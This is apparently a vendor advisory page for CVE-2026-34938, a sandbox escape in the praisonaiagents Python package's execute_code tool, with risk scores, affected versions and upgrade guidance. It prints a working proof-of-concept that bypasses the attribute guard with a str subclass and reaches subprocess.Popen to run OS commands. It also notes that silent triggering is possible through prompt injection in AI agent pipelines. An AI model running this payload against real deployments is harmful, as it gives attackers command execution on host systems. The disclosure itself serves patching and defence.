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CRITICAL severity

CVE-2026-34938 — praisonaiagents

CRITICAL

CVE-2026-34938 is a critical-severity (CVSS 10) CWE-693 vulnerability in praisonaiagents. EPSS puts its 30-day exploitation probability at 13.4% (96th percentile). A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Also known asPYSEC-2026-484
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34938.

EPSS Exploitation Probability

via FIRST.org ↗
13.4%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs96th percentile — riskier than 96% of all scored CVEsHighest risk
0.00%5.80%11.6%17.4%0.0%13.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍praisonaiagents

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC


from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.5.90pip install --upgrade 'praisonaiagents==1.5.90'

Affected Products

1 product · 1 configurations
Application
praisonaiagentspraison
< 1.5.90
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.5.90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34938 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasse
O3 Security · Impact-Aware SCA

Is CVE-2026-34938 in your dependencies?

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CVE-2026-34938: praisonaiagents RCE — Fixed in 1.5.90